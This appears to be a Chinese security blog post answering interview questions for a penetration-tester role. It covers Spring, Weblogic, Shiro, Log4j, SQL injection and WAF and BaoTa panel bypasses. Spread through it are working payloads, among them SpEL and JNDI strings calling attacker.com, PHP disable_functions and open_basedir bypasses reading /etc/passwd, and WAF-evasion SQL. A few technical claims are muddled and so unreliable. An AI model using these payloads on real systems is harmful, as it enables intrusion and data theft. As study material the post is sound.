安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
天融信[社招]渗透测试工程师
一、Java Spring Boot组件漏洞
1. CVE-2018-1270(WebSocket RCE)
2. CVE-2018-1273(Spring Data SpEL注入)
3. Actuator未授权访问
二、Weblogic漏洞与协议利用
三、ThinkPHP+宝塔WebShell绕过
1. disable_functions绕过
2. 宝塔环境突破
四、Android四大组件安全风险
五、Shiro 550 vs 721
六、验证码绕过方法
七、SQL宽字节注入实例
八、HTTP 304状态码
九、Log4j2 Lookup风险(CVE-2021-44228)
十、渗透测试标准流程
十一、漏洞验证双视角
十二、护网实战工作清单
十三、云WAF对抗技术
1. 定位云WAF真实IP
2. SQL注入绕过示例
十四、命令注入绕过宝塔限制
十五、溯源技术框架
十六、安全设备实战经验
十七、网络问题排查步骤
十八、WAF绕过技术矩阵
十九、宝塔WAF绕过方案
1. SQL注入绕过
2. 文件读取绕过
二十、云WAF定位技术
1. IP定位
2. 历史记录分析
二十一、云WAF SQL注入绕过
绕过原理:
二十二、命令注入突破宝塔限制
1. open_basedir绕过
2. disable_functions绕过
天融信[社招]渗透测试工程师
1. **Java Spring Boot 组件及其漏洞**- **Spring Websocket RCE (CVE-2018-1270)**:此漏洞存在于Spring-messaging模块的WebSocket实现中,允许攻击者通过发送特定消息至内存中的STOMP代理,进而导致远程代码执行(RCE)。- **Spring Data RCE (CVE-2018-1273)**:该漏洞源于SpEL表达式注入,攻击者可通过注入恶意SpEL表达式,在Spring Data组件中执行任意命令。- **Spring Data REST RCE (CVE-2017-8046)**:Spring Data REST暴露的对象可通过URL操控,攻击者通过精心构造的JSON数据传递给服务器,从而在服务器上执行任意Java代码。- **Spring Boot 目录遍历 (CVE-2021-21234)**:Spring Boot Actuator中的logview功能因未能充分校验基本文件夹参数而导致目录遍历漏洞,攻击者可借此访问超出日志记录基目录以外的文件。- **Spring Actuator 未授权访问**: 若Spring Boot应用中的Actuator端点配置不当,可能导致敏感信息泄露、XML外部实体注入(XXE)、甚至RCE等安全风险。 2. **Weblogic常见漏洞及IIOP/T3协议** 3. **ThinkPHP结合宝塔环境的WebShell绕过方法** - disable_function插件绕过: 攻击者可能会利用某些方式绕过disable_function的安全限制来上传并执行WebShell。 4. **Android测试中与Web测试相关的四大组件**- **Activity、ContentProvider、BroadcastReceiver、Service** 5. **Shiro 550与721漏洞区别**- **Shiro-550**:主要涉及Shiro rememberMe功能的反序列化漏洞,由于默认加密密钥硬编码,攻击者可构造恶意对象序列化后放入Cookie,从而在服务器端执行恶意代码。- **Shiro-721**:相较于550,Shiro在此版本中对rememberMe字段使用AES-128-CBC加密,但仍存在 Padding Oracle攻击的可能性,攻击者可以构造恶意Payload实现反序列化攻击。尽管key不再是硬编码,但仍然是动态生成并在登录后用于生成恶意rememberMe Cookie。 6. 验证码绕过方法 7. 逻辑漏洞示例 8. SQL注入中的宽字节注入概念与实例 9. HTTP状态码304及其在协商缓存中的作用 10. Log4j2框架下Lookup服务引发的安全风险 11. Fastjson反序列化漏洞原理与利用手法 12. 渗透测试的整体思路 13. 如何验证漏洞报告的真实性(包括运维与渗透测试角度) 14. 描述护网经历中完成的具体工作内容 15. 溯源经历分享 16. 接触过的安全设备及是否有实际操作经验 17. 对于客户反映的网络访问问题排查步骤 18. WAF绕过的一系列思路,包括但不限于SQL注入、正则绕过、编码方式绕过、Content-Type篡改、Unicode绕过等 19. 特定场景下绕过宝塔WAF的方法 20. 寻找云WAF部署位置的思路 21. SQL注入针对云WAF的绕过技术 22. 命令注入绕过方法,尤其是在宝塔环境中应对open_basedir和disable_functions限制的手法
一、Java Spring Boot组件漏洞
1. CVE-2018-1270(WebSocket RCE)
- 原理:STOMP消息头
selector
参数未过滤SpEL表达式http
CONNECT selector: T(java.lang.Runtime).getRuntime().exec('curl attacker.com')
- 影响版本:Spring Framework 5.0.0 - 5.0.5
- 修复:升级至≥5.0.6,配置
@EnableWebSocketMessageBroker
时添加.setSelectorHeaderEnabled(false)
2. CVE-2018-1273(Spring Data SpEL注入)
- 攻击路径:
POST /users?name[#this.getClass().forName("java.lang.Runtime").exec("id")]=test
- 防御:全局过滤
#{}
和${}
符号,禁用@Query
中的SpEL解析3. Actuator未授权访问
- 风险端点:
/actuator/env
(泄露环境变量)
/actuator/heapdump
(获取内存敏感数据)- 加固方案:
yaml
management: endpoints: web: exposure: include: health,info # 仅开放安全端点 endpoint: shutdown: enabled: false
二、Weblogic漏洞与协议利用
漏洞 协议 利用手法 修复方案 CVE-2020-2551 IIOP JNDI注入ldap://恶意地址 关闭7002端口 CVE-2019-2725 T3 绕过黑名单加载恶意类 限制T3协议访问(7001) CVE-2017-10271 HTTP XMLDecoder反序列化 <object>
标签删除 wls-wsat.war
组件
三、ThinkPHP+宝塔WebShell绕过
1. disable_functions绕过
php
// 利用FFI执行命令(PHP≥7.4) $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("id > /tmp/output");
2. 宝塔环境突破
- open_basedir绕过:
php
mkdir('/tmp/bypass'); chdir('/tmp/bypass'); ini_set('open_basedir','..'); // 向上穿越目录
- WAF规则绕过:
union/*%0a*/select
→ 换行符分割检测规则
四、Android四大组件安全风险
组件 攻击场景 防御方案 Activity 导出组件未鉴权(android:exported=true) 显式设置 exported="false"
ContentProvider URI路径遍历(content://com.example.DBProvider/../etc/passwd ) 启用 pathPermissions
校验BroadcastReceiver 恶意消息伪造(Intent携带敏感数据) 使用 LocalBroadcastManager
Service 未授权启动(startService未校验) 添加自定义权限检查
五、Shiro 550 vs 721
特性 Shiro-550 Shiro-721 密钥机制 硬编码(默认 kPH+bIxk5D2deZiIxcaaaA==
)动态生成(需捕获合法Cookie) 加密方式 AES-CBC弱加密 AES-CBC + Padding Oracle攻击 利用工具 shiro-exploit.jar 一键化利用 需配合Burp Collaborator
六、验证码绕过方法
- OCR识别:Tesseract识别简单图形码(成功率>80%)
- 接口重放:未绑定Session的验证码请求(
/captcha?t=timestamp
)- 逻辑缺陷:响应包返回验证结果(如
{"code":0,"captcha_valid":true}
)- 短信轰炸:拦截验证码请求至攻击者手机(Burp Repeater重放)
七、SQL宽字节注入实例
- 漏洞场景:MySQL + GBK编码
- 攻击输入:
id=1%df' AND 1=1--
→ 转义后:1%df\'
→ GBK解码为1運'
- 防御方案:
java
// 强制UTF-8编码 new String(request.getParameter("id").getBytes("ISO-8859-1"), "UTF-8");
八、HTTP 304状态码
- 协商缓存机制:
http
GET /logo.jpg HTTP/1.1 If-Modified-Since: Wed, 01 Jun 2025 07:28:00 GMT HTTP/1.1 304 Not Modified // 资源未变更,使用本地缓存
- 安全风险:缓存投毒(Cache Poisoning)篡改304响应头注入恶意脚本
九、Log4j2 Lookup风险(CVE-2021-44228)
- 攻击原理:
${jndi:ldap://attacker.com/Exploit}
触发JNDI注入- 应急方案:
- 升级Log4j至≥2.17.0
- 添加JVM参数:
-Dlog4j2.formatMsgNoLookups=true
十、渗透测试标准流程
mermaid
graph TD A[信息收集] --> B[漏洞扫描] B --> C{是否可利用?} C -->|是| D[漏洞利用] C -->|否| A D --> E[权限提升] E --> F[横向移动] F --> G[痕迹清理]
十一、漏洞验证双视角
验证方式 运维视角 渗透视角 环境复现 Docker容器隔离测试 VMware快照还原 分析工具 Wireshark抓包分析流量特征 Burp Suite Intruder模块爆破 无害化验证 DNS外带(ceye.io ) 执行 ping 127.0.0.1
十二、护网实战工作清单
红队任务:
- 鱼叉攻击:伪造HR邮件投递Excel 4.0宏病毒
- 横向移动:利用PrintNightmare(CVE-2021-34527)获取域控权限
- 痕迹清理:使用
mimikatz
清除日志
蓝队任务:
- 部署EDR实时阻断可疑进程(如Carbon Black)
- 分析NetFlow流量检测异常IIOP/T3连接
十三、云WAF对抗技术
1. 定位云WAF真实IP
- 查询历史DNS记录:
securitytrails.com
- 全球Ping扫描:
fofa.info
搜索header="X-Cache: HIT"
2. SQL注入绕过示例
sql
/* 阿里云WAF绕过 */ SELECT/*!50000+0*/user,password FROM users WHERE id=1
十四、命令注入绕过宝塔限制
bash
# 绕过open_basedir mkdir -p /tmp/dir; cd /tmp/dir; chroot . # 绕过disable_functions /???/??t /???/p??sw? # 等价于 /bin/cat /etc/passwd
十五、溯源技术框架
mermaid
graph LR A[攻击线索] --> B[IP溯源] A --> C[样本分析] B --> B1[威胁情报平台:VirusTotal] C --> C1[沙箱动态分析:Any.Run] B1 --> D[攻击者画像] C1 --> D
十六、安全设备实战经验
设备类型 操作经验 应用场景 WAF 策略配置/日志分析 拦截SQL注入/CC攻击 EDR 进程溯源/威胁狩猎 检测勒索软件 NGFW 策略优化/IPS调优 阻断C2通信
十七、网络问题排查步骤
mermaid
graph TD A[用户反馈] --> B[链路测试] B --> C{是否通?} C -->|是| D[服务端口检测] C -->|否| H[检查本地DNS] D --> E{端口开放?} E -->|是| F[应用日志分析] E -->|否| G[防火墙策略检查]
十八、WAF绕过技术矩阵
类型 方法 案例 SQL注入 Unicode编码:%u0055NION %u0053%u0045%u004c%u0045%u0043%u0054
正则绕过 换行符分割:union%0aall%0aselect 绕过 union\s+select
规则Content-Type篡改 表单转文件上传: Content-Type: multipart/form-data
绕过JSON参数检查
十九、宝塔WAF绕过方案
1. SQL注入绕过
sql
SELECT/*bt*/user FROM users # 注释符干扰规则
2. 文件读取绕过
http
GET /static/%2e%2e/etc/passwd HTTP/1.1 # URL编码绕过路径检测
二十、云WAF定位技术
1. IP定位
bash
# 真实IP发现 dig +short target.com A # 云WAF IP dig +short target.com TXT # 查询SPF记录中的真实IP
2. 历史记录分析
- 工具:
securitytrails.com
- 关键词:
historical DNS records
二十一、云WAF SQL注入绕过
sql
/* 腾讯云WAF绕过 */ x=1+union/*!00000all*/select 1,2,3
绕过原理:
利用MySQL版本特性注释
/*!50000*/
中的数字大于真实版本号(如MySQL 5.7用/*!60000*/
)
二十二、命令注入突破宝塔限制
1. open_basedir绕过
ph
<?php mkdir('/tmp/exp'); chdir('/tmp/exp'); ini_set('open_basedir','..'); // 目录穿越 chdir('..'); chdir('..'); readfile('/etc/passwd'); ?>
2. disable_functions绕过
bash
# LD_PRELOAD劫持 echo '<?php putenv("LD_PRELOAD=/tmp/hack.so"); mail("","","",""); ?>' > shell.php